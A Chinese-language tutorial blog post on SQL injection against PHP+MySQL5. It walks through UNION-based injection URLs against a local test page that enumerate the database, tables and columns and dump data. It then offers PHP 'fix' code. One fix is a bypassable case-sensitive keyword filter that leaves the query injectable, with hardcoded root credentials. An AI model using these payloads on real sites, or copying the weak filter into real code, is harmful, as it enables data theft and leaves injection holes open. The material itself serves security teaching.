• WEB安全 php+mysql5注入防御(一)



    注入利用函数:

    • concat()函数将多个字符串连接成一个字符串
    • database() 当前数据库,用途:获取数据
    • version() 数据库版本,用途:利用版本特性,如5.0版本下的information_schema库
    • user() 当前数据库用户,用途:判断权限
    • @@version_compile_os 操作系统版本,用途:主要用来避免linux和windows的大小写问题影响

    mysql5.0及以上版本默认有一个information_schema数据库,其中保存有所有数据库表名和列名信息。

    可以打开phpmyadmin,分别在information_schema数据库的tables表和columns表查看所有表信息,了解下面的注入语句的本质。

    information_schema数据库结构:

      tables表

        table_name列(存放所有表名)

        table_schema列(数据库名,条件注入时转为16进制格式)

      columns表

        column_name表(存放所有列名)

        table_name列(存放所有表名)

        table_schema列(数据库名,条件注入时一般直接找指定表的列名,不需要再指定库名)

        table_collation表(字符编码,utf8_general_ci)

    一、php+mysql 联合查询注入

    http://127.0.0.1/1.php?x=1 and 1=2
    http://127.0.0.1/1.php?x=1 order by 3
    http://127.0.0.1/1.php?x=1 UNION SELECT 1,2,3
    http://127.0.0.1/1.php?x=1 UNION SELECT database(),version(),user()
    http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(DATABASE(),0x20,VERSION(),0x20,USER(),0x20,@@VERSION_COMPILE_OS),2,3
    用户ID:sqlin 5.5.53 root@localhost Win32
    http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(TABLE_NAME,0x20,TABLE_COLLATION),2,3 from information_schema.tables where table_schema=0x73716C696E
    
    http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(column_name),2,3 from information_schema.columns where table_name=0x6E657773 //0x6E657773也可以用database()替代
    
    http://127.0.0.1/1.php?x=1 UNION SELECT id,text,title FROM sqlin.news
    http://127.0.0.1/1.php?x=1 UNION SELECT `key`,2,3 FROM sqlin.data
    key在数据库中是关键字,需要用反引号引起来
    用户ID:www.xiaodi8.com
    

      

    二、注入产生的原因及修复建议

    1. 注入产生的原因:未对参数接收的值进行过滤


    2. 修复建议:
    2.1 判断传入的参数类型(数字,过滤非数字):

    <?php
    //定义接收参数
    //1.定义数据库信息
    //2.连接数据库,选择数据库,定义sql语句,执行语句
    //3.返回结果并处理显示,关闭数据库
    
    
    $id = $_GET['x'];//接收参数名为x的值并赋值给变量id
    if(is_numeric($id)){ //如果接收过来的id变量的值是数字
    	$conn = mysql_connect("127.0.0.1","root","root");//连接数据库
    	mysql_select_db("sqlin",$conn);//选择数据库
    	$sql = "select * from news where id=$id";//定义sql语句
    	$result = mysql_query($sql);//执行sql语句
    	while($row = mysql_fetch_array($result)){//获取,遍历查询结果并显示
    		echo "用户ID:".$row['id']."<br>";
    		echo "文章标题:".$row['title']."<br>";
    		echo "文章内容:".$row['text']."<br>";
    		echo "<hr>";
    		
    	}
    		mysql_close($conn);//关闭数据库连接
    		echo "当前执行语句:".$sql."<hr>";
    }else{
    	echo "非法字符: ".$id;
    }
    
    
    
    
    ?>
    

      

    2.2 指定关键字过滤(过滤select等关键字,考虑大小写是否可绕过):

    <?
    //php语言开端
    //php+mysql注入页面编程实现
    /*
    1.接受参数
    2.数据库连接,选择,定义组合,执行
    3.返回结果并处理显示
    */
    
    
    function check_sql($id){ //过滤select关键字
    	$id = str_replace("select","",$id);
    	return $id;
    }
    
    $id = $_GET['x'];//接受参数名x的值并赋值给变量id
    //$id = str_replace("select","",$id);
    $id = check_sql($id);
    //echo $id;
    $conn = mysql_connect("127.0.0.1","root","root");//连接数据库
    mysql_select_db("sqlin",$conn);//选择数据库
    $sql = "select * from news where id=$id";//定义sql语句
    $result = mysql_query($sql);//执行sql语句
    while($row = mysql_fetch_array($result)){ //遍历结果显示
    	echo "用户ID:".$row['id']."<br >";
    	echo "文章内容:".$row['text']."<br >";	
    	echo "文章标题:".$row['title']."<br >";
    	echo "<hr>";
    
    }
    	mysql_close($conn);//关闭数据库连接
    	echo "当前执行语句:".$sql."<hr>";
    
    
    
    
    //php语言结尾
    ?>
    

      

    end.

  • 相关阅读:
    Linux入门之系统启动
    2017.12.25 Android数据存储方案
    2017.12.18 Android开发之进程讲解
    2017.12.18 Android开发之消息队列(实现子线程修改UI组件)
    2017.12.4 Android开发之ListView组件
    2017.12.10 把KIE的jbpm_console嵌入到我们的web项目中
    2017.12.07 React组件嵌套以及for循环渲染子组件
    2017.12.07 React路由到不同组件界面
    2017.12.07 Ajax获取服务器数据并发送到前端
    B-树&B+树以及其在数据库中的应用
  • 原文地址:https://www.cnblogs.com/i-honey/p/7903503.html
Copyright © 2020-2023  润新知